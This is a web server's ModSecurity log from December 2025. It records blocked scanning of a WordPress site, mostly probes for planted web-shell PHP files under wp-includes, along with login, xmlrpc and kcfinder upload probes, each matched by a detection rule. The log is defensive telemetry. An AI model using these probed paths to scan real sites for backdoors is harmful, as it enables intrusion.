[Thu Dec 11 18:34:09.057710 2025] [:error] [pid 58099:tid 58104] [client 31.171.130.64:54977] [client 31.171.130.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/l10n/class-wp-widddget-pages.php"] [unique_id "aTqeIcKZVSF_bdPFqRj4cAAAAMM"]
[Thu Dec 11 18:34:10.957646 2025] [:error] [pid 57992:tid 58064] [client 31.171.130.93:62385] [client 31.171.130.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php"] [unique_id "aTqeIuUeau0BMFF2vHmY1gAAAI8"]
[Thu Dec 11 18:34:12.930350 2025] [:error] [pid 57990:tid 58003] [client 31.171.130.58:63459] [client 31.171.130.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php"] [unique_id "aTqeJAqZT_dc36fQdXFqZQAAAAg"]
[Thu Dec 11 18:34:13.887965 2025] [:error] [pid 48261:tid 48287] [client 31.171.130.60:39093] [client 31.171.130.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/ID3/module.audio-video.riff-set.php"] [unique_id "aTqeJeyPI4WU-4JmiQOkLwAAAZc"]
[Thu Dec 11 18:34:15.237587 2025] [:error] [pid 57992:tid 58062] [client 31.171.130.99:47455] [client 31.171.130.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/utils/license.php"] [unique_id "aTqeJ-Ueau0BMFF2vHmY2gAAAI0"]
[Thu Dec 11 18:34:17.053040 2025] [:error] [pid 57992:tid 58053] [client 31.171.130.88:58649] [client 31.171.130.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Text/options.php"] [unique_id "aTqeKeUeau0BMFF2vHmY3QAAAIQ"]
[Thu Dec 11 18:34:17.952022 2025] [proxy_fcgi:error] [pid 48261:tid 48277] [client 31.171.130.55:50119] AH01071: Got error 'Primary script unknown'
[Thu Dec 11 18:34:19.754764 2025] [:error] [pid 48261:tid 48266] [client 31.171.130.55:50119] [client 31.171.130.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.55, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "aTqeK-yPI4WU-4JmiQOkNAAAAYI"]
[Thu Dec 11 18:34:22.470012 2025] [:error] [pid 48261:tid 48267] [client 31.171.130.55:50119] [client 31.171.130.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/feed-rsss.php"] [unique_id "aTqeLuyPI4WU-4JmiQOkPAAAAYM"]
[Thu Dec 11 18:34:23.433503 2025] [:error] [pid 35112:tid 35127] [client 31.171.130.55:21137] [client 31.171.130.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/IXR/goto.php"] [unique_id "aTqeL59ZpQ0WIeJhsJdQaAAAAU0"]
[Thu Dec 11 18:34:32.265864 2025] [:error] [pid 27459:tid 27469] [client 31.171.130.57:25961] [client 31.171.130.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aTqeOFhPEXihPBKMpRM_qQAAAQg"]
[Thu Dec 11 18:34:33.213495 2025] [:error] [pid 27459:tid 27485] [client 31.171.130.78:48025] [client 31.171.130.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/wp_class_datlib.php"] [unique_id "aTqeOVhPEXihPBKMpRM_qgAAARg"]
[Thu Dec 11 18:34:34.117355 2025] [:error] [pid 27459:tid 27478] [client 31.171.130.83:25581] [client 31.171.130.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "aTqeOlhPEXihPBKMpRM_rAAAARE"]
[Thu Dec 11 18:34:37.847058 2025] [:error] [pid 57991:tid 58042] [client 31.171.130.74:25893] [client 31.171.130.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Registry-private.php"] [unique_id "aTqePaPyGmNXA2ZsETaWBQAAAFQ"]
[Thu Dec 11 18:34:38.852654 2025] [:error] [pid 27459:tid 27467] [client 31.171.130.99:42575] [client 31.171.130.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-meta.php"] [unique_id "aTqePlhPEXihPBKMpRM_sAAAAQY"]
[Thu Dec 11 18:34:39.770753 2025] [:error] [pid 35112:tid 35121] [client 31.171.130.88:45277] [client 31.171.130.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/widgets/bypass.php"] [unique_id "aTqeP59ZpQ0WIeJhsJdQcwAAAUc"]
[Thu Dec 11 18:34:42.605193 2025] [:error] [pid 57992:tid 58073] [client 31.171.130.62:51797] [client 31.171.130.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/style-engine/adminfus.php"] [unique_id "aTqeQuUeau0BMFF2vHmY6wAAAJg"]
[Thu Dec 11 18:34:44.065715 2025] [:error] [pid 58814:tid 58833] [client 31.171.130.105:20841] [client 31.171.130.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/blocks/group/wp-style.php"] [unique_id "aTqeRNiz0l9AD_3pkMwFAQAAAdE"]
[Thu Dec 11 18:34:45.880317 2025] [:error] [pid 35112:tid 35116] [client 31.171.130.90:63149] [client 31.171.130.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-wolf-widget.php"] [unique_id "aTqeRZ9ZpQ0WIeJhsJdQewAAAUI"]
[Thu Dec 11 18:34:52.152536 2025] [:error] [pid 57990:tid 58014] [client 31.171.130.105:62879] [client 31.171.130.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Text/index.php"] [unique_id "aTqeTAqZT_dc36fQdXFqfwAAABM"]
[Thu Dec 11 18:34:54.152309 2025] [:error] [pid 35112:tid 35124] [client 31.171.130.67:25191] [client 31.171.130.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/about.php"] [unique_id "aTqeTp9ZpQ0WIeJhsJdQhQAAAUo"]
[Thu Dec 11 18:34:57.960668 2025] [:error] [pid 27459:tid 27464] [client 31.171.130.84:56869] [client 31.171.130.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/wp-sup.php"] [unique_id "aTqeUVhPEXihPBKMpRM_xAAAAQM"]
[Thu Dec 11 18:34:59.817024 2025] [:error] [pid 35112:tid 35137] [client 31.171.130.64:48947] [client 31.171.130.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-t.api.php"] [unique_id "aTqeU59ZpQ0WIeJhsJdQigAAAVc"]
[Thu Dec 11 18:35:02.650954 2025] [:error] [pid 57992:tid 58060] [client 31.171.130.97:32187] [client 31.171.130.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/dist/require-dynamic-blocks.php"] [unique_id "aTqeVuUeau0BMFF2vHmY9gAAAIs"]
[Thu Dec 11 18:35:06.107067 2025] [:error] [pid 57991:tid 58029] [client 31.171.130.99:29637] [client 31.171.130.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-rss-database.php"] [unique_id "aTqeWqPyGmNXA2ZsETaWIgAAAEc"]
[Thu Dec 11 18:35:07.916964 2025] [:error] [pid 57991:tid 58041] [client 31.171.130.82:38973] [client 31.171.130.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/class-wp-customize-manager-client.php"] [unique_id "aTqeW6PyGmNXA2ZsETaWJwAAAFM"]
[Thu Dec 11 18:35:08.823294 2025] [:error] [pid 27459:tid 27480] [client 31.171.130.99:39909] [client 31.171.130.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-boolean.php"] [unique_id "aTqeXFhPEXihPBKMpRM_zgAAARM"]
[Thu Dec 11 18:35:12.154853 2025] [:error] [pid 58099:tid 58111] [client 31.171.130.87:44041] [client 31.171.130.87] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/simi.php"] [unique_id "aTqeYMKZVSF_bdPFqRj4yAAAAMo"]
[Thu Dec 11 18:35:15.493673 2025] [:error] [pid 57991:tid 58040] [client 31.171.130.71:55691] [client 31.171.130.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/style-engine-session.php"] [unique_id "aTqeY6PyGmNXA2ZsETaWaAAAAFI"]
[Thu Dec 11 18:35:18.296609 2025] [:error] [pid 48261:tid 48282] [client 31.171.130.83:24027] [client 31.171.130.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.min.php"] [unique_id "aTqeZuyPI4WU-4JmiQOkYwAAAZI"]
[Thu Dec 11 18:35:19.232023 2025] [:error] [pid 58814:tid 58835] [client 31.171.130.63:29743] [client 31.171.130.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/blocks/file/wp-style.php"] [unique_id "aTqeZ9iz0l9AD_3pkMwFXAAAAdM"]
[Thu Dec 11 18:35:22.088816 2025] [:error] [pid 57991:tid 58034] [client 31.171.130.60:38127] [client 31.171.130.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/IXR/class-IXR-cilent.php"] [unique_id "aTqeaqPyGmNXA2ZsETaWcgAAAEw"]
[Thu Dec 11 18:35:24.446222 2025] [:error] [pid 57992:tid 58066] [client 31.171.130.100:63885] [client 31.171.130.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/images/install.php"] [unique_id "aTqebOUeau0BMFF2vHmZAwAAAJE"]
[Thu Dec 11 18:35:25.481941 2025] [:error] [pid 58814:tid 58820] [client 31.171.130.57:23419] [client 31.171.130.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/xleet.php"] [unique_id "aTqebdiz0l9AD_3pkMwFaAAAAcQ"]
[Thu Dec 11 18:35:29.236037 2025] [:error] [pid 48261:tid 48283] [client 31.171.130.67:34075] [client 31.171.130.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/category-double.php"] [unique_id "aTqeceyPI4WU-4JmiQOkbgAAAZM"]
[Thu Dec 11 18:35:31.176804 2025] [:error] [pid 57991:tid 58038] [client 31.171.130.55:51237] [client 31.171.130.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/db.php"] [unique_id "aTqec6PyGmNXA2ZsETaWfAAAAFA"]
[Thu Dec 11 22:40:45.006637 2025] [:error] [pid 4564:tid 4589] [client 125.75.66.97:53573] [client 125.75.66.97] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aTrX7ZjzC8Q_-qV1DxWZnQAAANY"]
[Thu Dec 11 23:13:03.222012 2025] [:error] [pid 4864:tid 4876] [client 170.106.160.90:43984] [client 170.106.160.90] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aTrff2VhcrADVU33AP4u3gAAAQo"]
[Fri Dec 12 02:44:01.768299 2025] [:error] [pid 53465:tid 53506] [client 3.87.182.69:55410] [client 3.87.182.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/api/actions"] [unique_id "aTsQ8eV5ilx5SpOsBcIDnwAAAQs"]
[Fri Dec 12 02:44:02.585816 2025] [:error] [pid 47903:tid 47929] [client 3.87.182.69:55464] [client 3.87.182.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/_next/data"] [unique_id "aTsQ8m3wANGk_TglDzsNpgAAAJg"]
[Fri Dec 12 02:44:03.402529 2025] [:error] [pid 48020:tid 48042] [client 3.87.182.69:55496] [client 3.87.182.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aTsQ80MEnZ0Mte0EP2mYRwAAAdQ"]
[Fri Dec 12 10:29:54.453581 2025] [:error] [pid 60649:tid 60669] [client 36.41.75.167:57093] [client 36.41.75.167] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aTt-IlOcUGKU3sgfHP-CagAAARE"]
[Fri Dec 12 12:47:03.841018 2025] [:error] [pid 27950:tid 27953] [client 180.191.160.16:36569] [client 180.191.160.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.191.160.16, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aTueR4VLRvkrdsSc1F0v_AAAAUE"]
[Fri Dec 12 16:52:44.958173 2025] [:error] [pid 26607:tid 26612] [client 182.42.105.144:40506] [client 182.42.105.144] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aTvX3Mb_b0tOEWTL2Klv0QAAAMM"]
[Fri Dec 12 19:14:26.080392 2025] [:error] [pid 26607:tid 26611] [client 3.9.24.182:48742] [client 3.9.24.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/api/actions"] [unique_id "aTv5Esb_b0tOEWTL2KmEywAAAMI"]
[Fri Dec 12 19:14:27.153709 2025] [:error] [pid 26607:tid 26624] [client 3.9.24.182:48852] [client 3.9.24.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/_next/data"] [unique_id "aTv5E8b_b0tOEWTL2KmEzgAAAM8"]
[Fri Dec 12 19:14:28.237446 2025] [:error] [pid 26521:tid 26585] [client 3.9.24.182:48906] [client 3.9.24.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aTv5FJdhcAPU617AKTBaZgAAAIY"]
[Sat Dec 13 03:11:31.538260 2025] [:error] [pid 26520:tid 26568] [client 101.32.208.70:56258] [client 101.32.208.70] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aTxo40G_frlY5vNXu_BF-QAAAFA"]
[Sat Dec 13 03:14:39.901046 2025] [:error] [pid 26520:tid 26572] [client 159.65.128.251:59115] [client 159.65.128.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/kcfinder/upload.php"] [unique_id "aTxpn0G_frlY5vNXu_BGVwAAAFQ"]
[Sat Dec 13 03:14:40.244521 2025] [:error] [pid 61027:tid 61072] [client 159.65.128.251:59583] [client 159.65.128.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/js/kcfinder/upload.php"] [unique_id "aTxpoKzAkXCoEs2QKBlp_QAAAlA"]
[Sat Dec 13 03:14:40.589536 2025] [:error] [pid 61026:tid 61050] [client 159.65.128.251:59610] [client 159.65.128.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/admin/kcfinder/upload.php"] [unique_id "aTxpoPuRR7v2iVXoj1N5WQAAAhU"]
